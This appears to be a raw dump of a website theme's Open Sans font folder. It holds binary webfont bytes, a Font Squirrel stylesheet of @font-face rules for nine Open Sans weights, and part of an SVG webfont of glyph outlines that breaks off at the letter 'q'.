+�@	+��+�+��+�+�+��
$9015!##33#7###)͒�ٲ�ғ�z�5����P�����/����w�XQQ!!Q��Q����#�&IL���#z&IO���#q&I'I�L���#b&I'I�O��M�_<���%��%�w��s���
�w�{�����5�}�+/�o�T�`���R�=bJ�`#?�H3��X���Z�V�'�u�^�J�X�V3�9?�`�f�`�/oJH�y��w�B��y�q�d�d�V�b�D�Ly��Ly�fd��������B���3Lo���j�Z���f�f�f�#s�;�;����;�����f���fs��b%'�H�hJ�D-h��-�`5����H�u�h�s�%�d�9sR�`�H�d��mm�`�3�-�j�=q3���T=sP�<�.�7�7JJJJJJL��yw�w�w�w�q��q�q��q�/D�LyLyLyLyLy��Ly�����������T��Z�Z�Z�Z�Z�ZZ�f�f�f�f�f;��;�;��;���f��f�f�f�f�f�`�f����J��J;��y�f����`���s�s{�==�}i�H�H�HRR��%?--�+���}�R�P
�w���?Q####
##2222l���Zx���0Vt��,��F�"F�8x���		r
4
n
� ^��<t���
 
x
�\�����4b����*�T�$x>��Nh�j�@|�@��Fz��D`���4�|���|�  > \!
!"!n!�""t"�"�#8#f#�#�$$B$R$b$r$�$�%%%%(%4%�%�%�%�%�%�%�%�%�%�&V&b&n&z&�&�&�&�'8'D'P'\'h't'�(R(^(j(v(�(�(�)J)V)b)n)z)�)�)�)�)�*(*4*@*L*X*d*p*�+(+4+@+L+X+d+�+�+�,l,�--0-x-�-�-�-�-�-�-�-�-�-�-�-�-�-�..4.L.t.�.�//B/�/�00020X0h0h0�1<1�1�1�1�1�1��D?Zf	h	h	z	�	$�	�	"�	�n�Digitized data copyright � 2011, Google Corporation.Open SansSemiboldwebfontOpen Sans SemiboldVersion 1.10OpenSans-SemiboldThis font was generated by the Font Squirrel Generator.�ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D�
 E��+�+D� E�
s+�+D� E�U+�+D�
 E�7+�+D�	 E�
-+�+D� E�	#+�+D� E�+�+D� E�_+�+D� E�+�+D� E�h+�+D� E�+�+D� E�+D� E��+�Fv+D� E�+�Fv+DY�+PK!��U��.bluetheme/assets/fonts/OpenSans/stylesheet.cssnu&1i�/* Generated by Font Squirrel (http://www.fontsquirrel.com) on July 27, 2012 03:49:11 AM America/New_York */



@font-face {
    font-family: 'OpenSansLight';
    src: url('OpenSans-Light-webfont.eot');
    src: url('OpenSans-Light-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-Light-webfont.woff') format('woff'),
         url('OpenSans-Light-webfont.ttf') format('truetype'),
         url('OpenSans-Light-webfont.svg#OpenSansLight') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansLightItalic';
    src: url('OpenSans-LightItalic-webfont.eot');
    src: url('OpenSans-LightItalic-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-LightItalic-webfont.woff') format('woff'),
         url('OpenSans-LightItalic-webfont.ttf') format('truetype'),
         url('OpenSans-LightItalic-webfont.svg#OpenSansLightItalic') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansRegular';
    src: url('OpenSans-Regular-webfont.eot');
    src: url('OpenSans-Regular-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-Regular-webfont.woff') format('woff'),
         url('OpenSans-Regular-webfont.ttf') format('truetype'),
         url('OpenSans-Regular-webfont.svg#OpenSansRegular') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansItalic';
    src: url('OpenSans-Italic-webfont.eot');
    src: url('OpenSans-Italic-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-Italic-webfont.woff') format('woff'),
         url('OpenSans-Italic-webfont.ttf') format('truetype'),
         url('OpenSans-Italic-webfont.svg#OpenSansItalic') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansSemibold';
    src: url('OpenSans-Semibold-webfont.eot');
    src: url('OpenSans-Semibold-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-Semibold-webfont.woff') format('woff'),
         url('OpenSans-Semibold-webfont.ttf') format('truetype'),
         url('OpenSans-Semibold-webfont.svg#OpenSansSemibold') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansSemiboldItalic';
    src: url('OpenSans-SemiboldItalic-webfont.eot');
    src: url('OpenSans-SemiboldItalic-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-SemiboldItalic-webfont.woff') format('woff'),
         url('OpenSans-SemiboldItalic-webfont.ttf') format('truetype'),
         url('OpenSans-SemiboldItalic-webfont.svg#OpenSansSemiboldItalic') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansBold';
    src: url('OpenSans-Bold-webfont.eot');
    src: url('OpenSans-Bold-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-Bold-webfont.woff') format('woff'),
         url('OpenSans-Bold-webfont.ttf') format('truetype'),
         url('OpenSans-Bold-webfont.svg#OpenSansBold') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansBoldItalic';
    src: url('OpenSans-BoldItalic-webfont.eot');
    src: url('OpenSans-BoldItalic-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-BoldItalic-webfont.woff') format('woff'),
         url('OpenSans-BoldItalic-webfont.ttf') format('truetype'),
         url('OpenSans-BoldItalic-webfont.svg#OpenSansBoldItalic') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansExtrabold';
    src: url('OpenSans-ExtraBold-webfont.eot');
    src: url('OpenSans-ExtraBold-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-ExtraBold-webfont.woff') format('woff'),
         url('OpenSans-ExtraBold-webfont.ttf') format('truetype'),
         url('OpenSans-ExtraBold-webfont.svg#OpenSansExtrabold') format('svg');
    font-weight: normal;
    font-style: normal;

}

@font-face {
    font-family: 'OpenSansExtraboldItalic';
    src: url('OpenSans-ExtraBoldItalic-webfont.eot');
    src: url('OpenSans-ExtraBoldItalic-webfont.eot?#iefix') format('embedded-opentype'),
         url('OpenSans-ExtraBoldItalic-webfont.woff') format('woff'),
         url('OpenSans-ExtraBoldItalic-webfont.ttf') format('truetype'),
         url('OpenSans-ExtraBoldItalic-webfont.svg#OpenSansExtraboldItalic') format('svg');
    font-weight: normal;
    font-style: normal;

}

PK!��|�����=bluetheme/assets/fonts/OpenSans/OpenSans-Semibold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  2011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansSemibold" horiz-adv-x="1169" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="565" d="M133 125q0 74 39 112.5t111 38.5q71 0 109 -40t38 -111t-38.5 -112.5t-108.5 -41.5q-71 0 -110.5 40t-39.5 114zM145 1462h277l-51 -1018h-174z" />
<glyph unicode="&#x22;" horiz-adv-x="893" d="M133 1462h232l-41 -528h-150zM528 1462h232l-41 -528h-150z" />
<glyph unicode="#" horiz-adv-x="1323" d="M47 418v168h283l57 284h-264v168h293l80 422h180l-80 -422h252l80 422h174l-80 -422h252v-168h-285l-55 -284h270v-168h-303l-80 -418h-178l80 418h-248l-80 -418h-174l76 418h-250zM506 586h250l57 284h-250z" />
<glyph unicode="$" d="M111 168v211q86 -42 201 -70.5t206 -29.5v374l-84 31q-164 63 -239.5 150.5t-75.5 216.5q0 138 107.5 227t291.5 108v168h133v-165q203 -7 385 -82l-73 -183q-157 62 -312 74v-364l76 -29q190 -73 263 -154t73 -198q0 -145 -106 -239t-306 -116v-217h-133v211 q-248 4 -407 76zM354 1053q0 -57 35.5 -95t128.5 -75v311q-80 -12 -122 -49t-42 -92zM651 287q176 27 176 151q0 58 -40.5 95.5t-135.5 72.5v-319z" />
<glyph unicode="%" horiz-adv-x="1765" d="M84 1026q0 457 319 457q157 0 241.5 -118.5t84.5 -338.5q0 -230 -82.5 -345.5t-243.5 -115.5q-152 0 -235.5 119.5t-83.5 341.5zM279 1024q0 -149 29 -222t95 -73q132 0 132 295t-132 295q-66 0 -95 -73t-29 -222zM379 0l811 1462h194l-811 -1462h-194zM1036 440 q0 457 320 457q154 0 239.5 -118t85.5 -339q0 -230 -83 -345t-242 -115q-152 0 -236 118.5t-84 341.5zM1231 440q0 -149 29.5 -223t95.5 -74q131 0 131 297q0 293 -131 293q-66 0 -95.5 -72t-29.5 -221z" />
<glyph unicode="&#x26;" horiz-adv-x="1516" d="M96 387q0 131 64 228.5t231 193.5q-95 111 -129.5 187.5t-34.5 158.5q0 152 108.5 240t291.5 88q177 0 278 -85.5t101 -230.5q0 -114 -67.5 -207t-225.5 -186l346 -334q81 107 135 314h242q-70 -284 -224 -463l301 -291h-303l-149 145q-102 -82 -217.5 -123.5 t-255.5 -41.5q-230 0 -361 109t-131 298zM344 403q0 -98 69.5 -159.5t186.5 -61.5q183 0 313 107l-383 377q-106 -68 -146 -127.5t-40 -135.5zM451 1147q0 -63 33.5 -119t93.5 -119q113 64 158.5 119.5t45.5 124.5q0 65 -43.5 104t-115.5 39q-79 0 -125.5 -40.5 t-46.5 -108.5z" />
<glyph unicode="'" horiz-adv-x="498" d="M133 1462h232l-41 -528h-150z" />
<glyph unicode="(" horiz-adv-x="649" d="M82 561q0 265 77.5 496t223.5 405h205q-139 -188 -213 -421.5t-74 -477.5t74 -473t211 -414h-203q-147 170 -224 397t-77 488z" />
<glyph unicode=")" horiz-adv-x="649" d="M61 1462h205q147 -175 224 -406.5t77 -494.5t-77.5 -490t-223.5 -395h-203q138 187 211.5 415t73.5 472q0 245 -74 477.5t-213 421.5z" />
<glyph unicode="*" horiz-adv-x="1122" d="M74 1065l35 217l376 -108l-41 382h228l-41 -382l385 108l28 -217l-360 -29l236 -311l-199 -107l-166 338l-149 -338l-205 107l231 311z" />
<glyph unicode="+" d="M96 633v178h398v408h180v-408h399v-178h-399v-406h-180v406h-398z" />
<glyph unicode="," horiz-adv-x="547" d="M63 -264q69 270 103 502h231l15 -23q-48 -186 -176 -479h-173z" />
<glyph unicode="-" horiz-adv-x="659" d="M72 449v200h514v-200h-514z" />
<glyph unicode="." horiz-adv-x="563" d="M133 125q0 73 38 112t110 39q73 0 111 -40.5t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113z" />
<glyph unicode="/" horiz-adv-x="799" d="M16 0l545 1462h221l-544 -1462h-222z" />
<glyph unicode="0" d="M88 731q0 387 122.5 570.5t373.5 183.5q245 0 371 -192t126 -562q0 -381 -122.5 -566t-374.5 -185q-244 0 -370 191t-126 560zM326 731q0 -299 61.5 -427t196.5 -128t197.5 130t62.5 425q0 294 -62.5 425.5t-197.5 131.5t-196.5 -129t-61.5 -428z" />
<glyph unicode="1" d="M154 1124l430 338h196v-1462h-235v944q0 169 8 268q-23 -24 -56.5 -53t-224.5 -184z" />
<glyph unicode="2" d="M90 0v178l377 379q167 171 221.5 242.5t79.5 134.5t25 135q0 99 -59.5 156t-164.5 57q-84 0 -162.5 -31t-181.5 -112l-127 155q122 103 237 146t245 43q204 0 327 -106.5t123 -286.5q0 -99 -35.5 -188t-109 -183.5t-244.5 -255.5l-254 -246v-10h694v-207h-991z" />
<glyph unicode="3" d="M86 59v209q93 -46 197 -71t200 -25q170 0 254 63t84 195q0 117 -93 172t-292 55h-127v191h129q350 0 350 242q0 94 -61 145t-180 51q-83 0 -160 -23.5t-182 -91.5l-115 164q201 148 467 148q221 0 345 -95t124 -262q0 -139 -81 -231.5t-228 -124.5v-8q176 -22 264 -109.5 t88 -232.5q0 -211 -149 -325.5t-424 -114.5q-243 0 -410 79z" />
<glyph unicode="4" d="M39 319v181l668 966h229v-952h197v-195h-197v-319h-229v319h-668zM258 514h449v367q0 196 10 321h-8q-28 -66 -88 -160z" />
<glyph unicode="5" d="M117 59v213q81 -46 186 -71t195 -25q159 0 242 71t83 208q0 262 -334 262q-47 0 -116 -9.5t-121 -21.5l-105 62l56 714h760v-209h-553l-33 -362q35 6 85.5 14t123.5 8q221 0 350 -117t129 -319q0 -234 -146.5 -365.5t-416.5 -131.5q-245 0 -385 79z" />
<glyph unicode="6" d="M94 623q0 858 699 858q110 0 186 -17v-196q-76 22 -176 22q-235 0 -353 -126t-128 -404h12q47 81 132 125.5t200 44.5q199 0 310 -122t111 -331q0 -230 -128.5 -363.5t-350.5 -133.5q-157 0 -273 75.5t-178.5 220t-62.5 347.5zM332 508q0 -141 76.5 -237.5t195.5 -96.5 q121 0 186.5 78t65.5 223q0 126 -61.5 198t-184.5 72q-76 0 -140 -32.5t-101 -89t-37 -115.5z" />
<glyph unicode="7" d="M74 1253v207h1011v-164l-575 -1296h-254l578 1253h-760z" />
<glyph unicode="8" d="M88 371q0 122 68.5 219.5t224.5 173.5q-134 80 -191 169t-57 200q0 159 125 253.5t326 94.5q208 0 329 -95.5t121 -255.5q0 -225 -270 -358q172 -86 244.5 -181t72.5 -212q0 -181 -133 -290t-360 -109q-238 0 -369 102t-131 289zM313 379q0 -104 73 -161.5t198 -57.5 q129 0 200.5 59.5t71.5 161.5q0 81 -66 148t-200 124l-29 13q-132 -58 -190 -127.5t-58 -159.5zM360 1116q0 -52 22 -93t64 -74.5t142 -80.5q120 53 169.5 111.5t49.5 136.5q0 85 -61.5 134.5t-163.5 49.5q-100 0 -161 -49.5t-61 -134.5z" />
<glyph unicode="9" d="M86 981q0 229 128.5 364.5t350.5 135.5q156 0 272 -76t179 -220.5t63 -346.5q0 -432 -174 -645t-524 -213q-133 0 -191 16v197q89 -25 179 -25q238 0 355 128t128 402h-12q-59 -90 -142.5 -130t-195.5 -40q-194 0 -305 121t-111 332zM317 983q0 -125 60.5 -196.5 t183.5 -71.5q119 0 200 71t81 166q0 89 -34.5 166.5t-96.5 122.5t-142 45q-122 0 -187 -79.5t-65 -223.5z" />
<glyph unicode=":" horiz-adv-x="563" d="M133 125q0 73 38 112t110 39q73 0 111 -40.5t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113zM133 979q0 151 148 151q75 0 112 -40t37 -111t-38.5 -112.5t-110.5 -41.5t-110 41t-38 113z" />
<glyph unicode=";" horiz-adv-x="569" d="M63 -264q69 270 103 502h231l15 -23q-48 -186 -176 -479h-173zM131 979q0 151 148 151q75 0 112 -40t37 -111t-38.5 -112.5t-110.5 -41.5t-110 41t-38 113z" />
<glyph unicode="&#x3c;" d="M96 651v121l977 488v-195l-733 -344l733 -303v-197z" />
<glyph unicode="=" d="M102 432v178h963v-178h-963zM102 831v179h963v-179h-963z" />
<glyph unicode="&#x3e;" d="M96 221v197l733 303l-733 344v195l977 -488v-121z" />
<glyph unicode="?" horiz-adv-x="928" d="M16 1370q203 113 435 113q196 0 311 -96t115 -265q0 -75 -22 -133.5t-66.5 -111.5t-153.5 -138q-93 -73 -124.5 -121t-31.5 -129v-45h-196v64q0 110 40 183t140 151q119 94 153.5 146t34.5 124q0 84 -56 129t-161 45q-95 0 -176 -27t-158 -65zM242 125q0 151 147 151 q72 0 110 -39.5t38 -111.5q0 -71 -38.5 -112.5t-109.5 -41.5t-109 40.5t-38 113.5z" />
<glyph unicode="@" horiz-adv-x="1839" d="M111 586q0 261 112 464.5t310.5 311.5t449.5 108q217 0 386.5 -90t263 -256.5t93.5 -384.5q0 -143 -45 -261.5t-126.5 -184.5t-188.5 -66q-79 0 -137 42t-78 114h-12q-49 -78 -121 -117t-162 -39q-163 0 -256.5 105t-93.5 284q0 206 124 334.5t333 128.5 q76 0 168.5 -13.5t164.5 -37.5l-22 -465v-24q0 -160 104 -160q79 0 125.5 102t46.5 260q0 171 -70 300.5t-199 199.5t-296 70q-213 0 -370.5 -88t-240.5 -251.5t-83 -379.5q0 -290 155 -446t445 -156q221 0 461 90v-164q-210 -86 -457 -86q-370 0 -577 199.5t-207 556.5z M698 612q0 -233 183 -233q193 0 211 293l12 239q-63 17 -135 17q-128 0 -199.5 -85t-71.5 -231z" />
<glyph unicode="A" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269z" />
<glyph unicode="B" horiz-adv-x="1352" d="M193 0v1462h434q302 0 436.5 -88t134.5 -278q0 -128 -66 -213t-190 -107v-10q154 -29 226.5 -114.5t72.5 -231.5q0 -197 -137.5 -308.5t-382.5 -111.5h-528zM432 201h254q150 0 226.5 57.5t76.5 181.5q0 114 -78 169t-237 55h-242v-463zM432 858h230q150 0 219 47.5 t69 161.5q0 103 -74.5 149t-236.5 46h-207v-404z" />
<glyph unicode="C" horiz-adv-x="1298" d="M121 731q0 228 83.5 399t241.5 262t371 91q224 0 414 -94l-86 -199q-74 35 -156.5 61.5t-173.5 26.5q-206 0 -324 -146t-118 -403q0 -269 113.5 -407t328.5 -138q93 0 180 18.5t181 47.5v-205q-172 -65 -390 -65q-321 0 -493 194.5t-172 556.5z" />
<glyph unicode="D" horiz-adv-x="1503" d="M193 0v1462h452q349 0 543 -188t194 -529q0 -362 -201 -553.5t-579 -191.5h-409zM432 201h170q528 0 528 536q0 525 -491 525h-207v-1061z" />
<glyph unicode="E" horiz-adv-x="1143" d="M193 0v1462h827v-202h-588v-398h551v-200h-551v-459h588v-203h-827z" />
<glyph unicode="F" horiz-adv-x="1090" d="M193 0v1462h825v-202h-588v-457h551v-203h-551v-600h-237z" />
<glyph unicode="G" horiz-adv-x="1487" d="M121 731q0 353 203 552.5t559 199.5q229 0 434 -88l-84 -199q-178 82 -356 82q-234 0 -370 -147t-136 -402q0 -268 122.5 -407.5t352.5 -139.5q116 0 248 29v377h-303v205h538v-734q-132 -43 -253.5 -61t-262.5 -18q-332 0 -512 196.5t-180 554.5z" />
<glyph unicode="H" horiz-adv-x="1538" d="M193 0v1462h239v-598h674v598h240v-1462h-240v659h-674v-659h-239z" />
<glyph unicode="I" horiz-adv-x="625" d="M193 0v1462h239v-1462h-239z" />
<glyph unicode="J" horiz-adv-x="612" d="M-156 -182q84 -21 146 -21q196 0 196 248v1417h240v-1409q0 -224 -106.5 -342.5t-311.5 -118.5q-98 0 -164 25v201z" />
<glyph unicode="K" horiz-adv-x="1309" d="M193 0v1462h239v-698q98 120 195 231l395 467h272q-383 -450 -549 -641l564 -821h-277l-459 662l-141 -115v-547h-239z" />
<glyph unicode="L" horiz-adv-x="1110" d="M193 0v1462h239v-1257h619v-205h-858z" />
<glyph unicode="M" horiz-adv-x="1890" d="M193 0v1462h337l406 -1163h6l418 1163h338v-1462h-230v723q0 109 5.5 284t9.5 212h-8l-439 -1219h-211l-424 1221h-8q17 -272 17 -510v-711h-217z" />
<glyph unicode="N" horiz-adv-x="1604" d="M193 0v1462h290l717 -1159h6q-2 23 -8 167.5t-6 225.5v766h219v-1462h-293l-719 1165h-8l5 -65q14 -186 14 -340v-760h-217z" />
<glyph unicode="O" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z" />
<glyph unicode="P" horiz-adv-x="1260" d="M193 0v1462h421q274 0 410.5 -112t136.5 -330q0 -229 -150 -351t-427 -122h-152v-547h-239zM432 748h127q184 0 270 64t86 200q0 126 -77 188t-240 62h-166v-514z" />
<glyph unicode="Q" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -266 -101.5 -448t-295.5 -256l350 -377h-322l-276 328h-39q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139 q-215 0 -324.5 -139t-109.5 -408z" />
<glyph unicode="R" horiz-adv-x="1309" d="M193 0v1462h413q283 0 419 -106t136 -320q0 -273 -284 -389l413 -647h-272l-350 584h-236v-584h-239zM432 782h166q167 0 242 62t75 184q0 124 -81 178t-244 54h-158v-478z" />
<glyph unicode="S" horiz-adv-x="1126" d="M100 57v226q100 -47 212.5 -74t209.5 -27q142 0 209.5 54t67.5 145q0 82 -62 139t-256 135q-200 81 -282 185t-82 250q0 183 130 288t349 105q210 0 418 -92l-76 -195q-195 82 -348 82q-116 0 -176 -50.5t-60 -133.5q0 -57 24 -97.5t79 -76.5t198 -95q161 -67 236 -125 t110 -131t35 -172q0 -195 -141 -306t-389 -111t-406 77z" />
<glyph unicode="T" horiz-adv-x="1159" d="M29 1257v205h1099v-205h-430v-1257h-239v1257h-430z" />
<glyph unicode="U" horiz-adv-x="1520" d="M180 520v942h240v-925q0 -181 84 -267t258 -86q338 0 338 355v923h239v-946q0 -162 -69.5 -283.5t-201 -187t-314.5 -65.5q-272 0 -423 144t-151 396z" />
<glyph unicode="V" horiz-adv-x="1274" d="M0 1462h246l305 -909q24 -65 51 -167.5t35 -152.5q13 76 40 176t44 148l305 905h248l-512 -1462h-252z" />
<glyph unicode="W" horiz-adv-x="1937" d="M12 1462h244l209 -852q49 -205 70 -362q11 85 33 190t40 170l238 854h237l244 -858q35 -119 74 -356q15 143 72 364l208 850h242l-381 -1462h-260l-248 872q-16 57 -40 164.5t-29 149.5q-10 -64 -32.5 -166t-37.5 -152l-242 -868h-260l-189 732z" />
<glyph unicode="X" horiz-adv-x="1274" d="M4 0l485 758l-454 704h266l338 -553l338 553h258l-457 -708l492 -754h-275l-366 598l-369 -598h-256z" />
<glyph unicode="Y" horiz-adv-x="1212" d="M0 1462h260l346 -667l346 667h260l-487 -895v-567h-240v559z" />
<glyph unicode="Z" horiz-adv-x="1178" d="M66 0v166l737 1091h-717v205h1006v-168l-740 -1089h760v-205h-1046z" />
<glyph unicode="[" horiz-adv-x="676" d="M154 -324v1786h471v-176h-256v-1433h256v-177h-471z" />
<glyph unicode="\" horiz-adv-x="799" d="M16 1462h222l544 -1462h-221z" />
<glyph unicode="]" horiz-adv-x="676" d="M51 -147h256v1433h-256v176h469v-1786h-469v177z" />
<glyph unicode="^" horiz-adv-x="1100" d="M29 535l436 935h121l485 -935h-194l-349 694l-307 -694h-192z" />
<glyph unicode="_" horiz-adv-x="879" d="M-4 -184h887v-135h-887v135z" />
<glyph unicode="`" horiz-adv-x="1212" d="M362 1548v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="a" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5z" />
<glyph unicode="b" horiz-adv-x="1276" d="M168 0v1556h235v-370q0 -41 -4 -122t-6 -103h10q112 165 330 165q207 0 322.5 -150t115.5 -421q0 -272 -117 -423.5t-325 -151.5q-210 0 -326 151h-16l-43 -131h-176zM403 555q0 -202 64 -292.5t209 -90.5q125 0 189.5 99t64.5 286q0 377 -258 377q-142 0 -204.5 -83.5 t-64.5 -279.5v-16z" />
<glyph unicode="c" horiz-adv-x="1014" d="M102 547q0 279 136.5 429t394.5 150q175 0 315 -65l-71 -189q-149 58 -246 58q-287 0 -287 -381q0 -186 71.5 -279.5t209.5 -93.5q157 0 297 78v-205q-63 -37 -134.5 -53t-173.5 -16q-251 0 -381.5 146.5t-130.5 420.5z" />
<glyph unicode="d" horiz-adv-x="1276" d="M102 551q0 272 117.5 423.5t325.5 151.5q218 0 332 -161h12q-17 119 -17 188v403h236v-1556h-184l-41 145h-11q-113 -165 -331 -165q-207 0 -323 150t-116 421zM344 547q0 -184 65 -280.5t195 -96.5q145 0 211 81.5t68 264.5v33q0 209 -68 297t-213 88 q-124 0 -191 -100.5t-67 -286.5z" />
<glyph unicode="e" horiz-adv-x="1180" d="M102 545q0 271 135 426t371 155q219 0 346 -133t127 -366v-127h-737q5 -161 87 -247.5t231 -86.5q98 0 182.5 18.5t181.5 61.5v-191q-86 -41 -174 -58t-201 -17q-258 0 -403.5 150.5t-145.5 414.5zM348 670h502q-2 137 -66 207.5t-176 70.5t-179.5 -71t-80.5 -207z" />
<glyph unicode="f" horiz-adv-x="743" d="M35 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182z" />
<glyph unicode="g" horiz-adv-x="1139" d="M23 -184q0 102 64.5 171.5t180.5 96.5q-47 20 -77.5 64.5t-30.5 93.5q0 62 35 105t104 85q-86 37 -139.5 120.5t-53.5 195.5q0 180 113.5 279t323.5 99q47 0 98.5 -6.5t77.5 -13.5h383v-129l-189 -35q26 -35 43 -86t17 -108q0 -171 -118 -269t-325 -98q-53 0 -96 8 q-76 -47 -76 -110q0 -38 35.5 -57t130.5 -19h193q183 0 278 -78t95 -225q0 -188 -155 -290t-448 -102q-226 0 -345 80t-119 228zM233 -172q0 -76 68.5 -117t192.5 -41q192 0 286 55t94 146q0 72 -51.5 102.5t-191.5 30.5h-178q-101 0 -160.5 -47.5t-59.5 -128.5zM334 748 q0 -104 53.5 -160t153.5 -56q204 0 204 218q0 108 -50.5 166.5t-153.5 58.5q-102 0 -154.5 -58t-52.5 -169z" />
<glyph unicode="h" horiz-adv-x="1300" d="M168 0v1556h235v-395q0 -95 -12 -203h15q48 80 133.5 124t199.5 44q402 0 402 -405v-721h-236v680q0 128 -51.5 191t-163.5 63q-148 0 -217.5 -88.5t-69.5 -296.5v-549h-235z" />
<glyph unicode="i" horiz-adv-x="571" d="M154 1399q0 63 34.5 97t98.5 34q62 0 96.5 -34t34.5 -97q0 -60 -34.5 -94.5t-96.5 -34.5q-64 0 -98.5 34.5t-34.5 94.5zM168 0v1106h235v-1106h-235z" />
<glyph unicode="j" horiz-adv-x="571" d="M-121 -281q68 -18 139 -18q150 0 150 170v1235h235v-1251q0 -171 -89.5 -259t-258.5 -88q-106 0 -176 25v186zM154 1399q0 63 34.5 97t98.5 34q62 0 96.5 -34t34.5 -97q0 -60 -34.5 -94.5t-96.5 -34.5q-64 0 -98.5 34.5t-34.5 94.5z" />
<glyph unicode="k" horiz-adv-x="1171" d="M168 0v1556h233v-759l-12 -213h6l133 166l334 356h271l-445 -475l473 -631h-276l-355 485l-129 -106v-379h-233z" />
<glyph unicode="l" horiz-adv-x="571" d="M168 0v1556h235v-1556h-235z" />
<glyph unicode="m" horiz-adv-x="1958" d="M168 0v1106h184l33 -145h12q46 79 133.5 122t192.5 43q255 0 338 -174h16q49 82 138 128t204 46q198 0 288.5 -100t90.5 -305v-721h-235v682q0 127 -48.5 189.5t-150.5 62.5q-137 0 -200.5 -85.5t-63.5 -262.5v-586h-236v682q0 127 -48 189.5t-150 62.5 q-136 0 -199.5 -88.5t-63.5 -294.5v-551h-235z" />
<glyph unicode="n" horiz-adv-x="1300" d="M168 0v1106h184l33 -145h12q50 79 142 122t204 43q398 0 398 -405v-721h-236v680q0 128 -51.5 191t-163.5 63q-149 0 -218 -88t-69 -295v-551h-235z" />
<glyph unicode="o" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281z" />
<glyph unicode="p" horiz-adv-x="1276" d="M168 -492v1598h190q8 -31 33 -148h12q110 168 330 168q207 0 322.5 -150t115.5 -421t-117.5 -423t-324.5 -152q-210 0 -326 151h-14q14 -140 14 -170v-453h-235zM403 555q0 -202 64 -292.5t209 -90.5q122 0 188 100t66 285q0 186 -65.5 281.5t-192.5 95.5 q-140 0 -204.5 -82t-64.5 -262v-35z" />
<glyph unicode="q" horiz-adv-x="1276" d="M102 551q0 270 118 422.5t325 152.5q104 0 186.5 -38.5t147.5 -126.5h8l26 145h195v-1598h-236v469q0 44 4 93t7 75h-13q-104 -165 -331 -165q-205 0 -321 150.5t-116 420.5zM344 547q0 -379 262 -379q148 0 212.5 85.5t64.5 258.5v37q0 205 -66.5 295t-214.5 90 q-126 0 -192 -100t-66 -287z" />
